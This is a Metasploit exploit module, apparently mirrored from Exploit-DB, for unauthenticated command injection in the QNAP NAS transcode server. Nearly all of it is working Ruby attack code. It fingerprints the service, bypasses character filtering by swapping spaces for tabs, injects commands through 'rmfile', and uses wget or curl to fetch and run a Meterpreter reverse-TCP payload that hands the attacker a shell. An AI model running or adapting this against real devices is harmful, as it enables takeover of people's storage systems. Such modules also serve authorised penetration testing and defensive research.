QNAP Transcode Server – Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2017-08-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42587/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'QNAP Transcode Server Command Execution',
    'Description' => %q{
    This module exploits an unauthenticated remote command injection
    vulnerability in QNAP NAS devices. The transcoding server listens
    on port 9251 by default and is vulnerable to command injection
    using the 'rmfile' command.
    
    This module was tested successfully on a QNAP TS-431 with
    firmware version 4.3.3.0262 (20170727).
    },
    'Author' =>
    [
    'Zenofex', # Initial vulnerability discovery and PoC
    '0x00string', # Initial vulnerability discovery and PoC
    'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
    ],
    'License'=> MSF_LICENSE,
    'Platform' => 'linux',
    'References' =>
    [
    [ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
    [ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
    ],
    'DisclosureDate'=> 'Aug 6 2017',
    'Privileged'=> true,
    'Arch'=> ARCH_ARMLE,
    'DefaultOptions'=>
    {
    'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
    },
    'Targets' => [['Automatic', {}]],
    'CmdStagerFlavor' => %w{wget curl},
    'DefaultTarget' => 0))
    
    register_options(
    [
    Opt::RPORT(9251),
    OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
    ])
    deregister_options 'cmdstager::decoder'
    end
    
    def check
    vprint_status 'Connecting to transcode server...'
    
    connect
    sock.put "\x01\x00\x00\x00"
    res = sock.get_once
    
    if res.blank?
    vprint_status 'No reply from server'
    return CheckCode::Safe
    end
    
    vprint_status "Received response: #{res}"
    
    return CheckCode::Detected if res.to_s =~ /client's request is accepted/
    
    CheckCode::Safe
    rescue ::Rex::ConnectionError
    vprint_error 'Connection failed'
    return CheckCode::Unknown
    ensure
    disconnect
    end
    
    def execute_command(cmd, opts)
    # Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
    # Execute each command seperately
    cmd.split(';').each do |c|
    connect
    vprint_status "Executing command: #{c}"
    
    # Replace spaces with tabs
    c.tr! ' ', "\t"
    
    sock.put "\x01\x00\x00\x00/|#{c}|\x00"
    res = sock.get_once
    
    unless res.to_s =~ /client's request is accepted/
    print_status 'Unexpected reply'
    break
    end
    
    print_status "Sent command successfully (#{c.length} bytes)"
    
    disconnect
    
    if c =~ /^(curl|wget)/
    print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
    Rex.sleep datastore['DELAY']
    end
    end
    rescue ::Rex::ConnectionError
    fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
    ensure
    disconnect
    end
    
    def exploit
    vprint_status 'Connecting to transcode server...'
    execute_cmdstager linemax: 400
    end
    end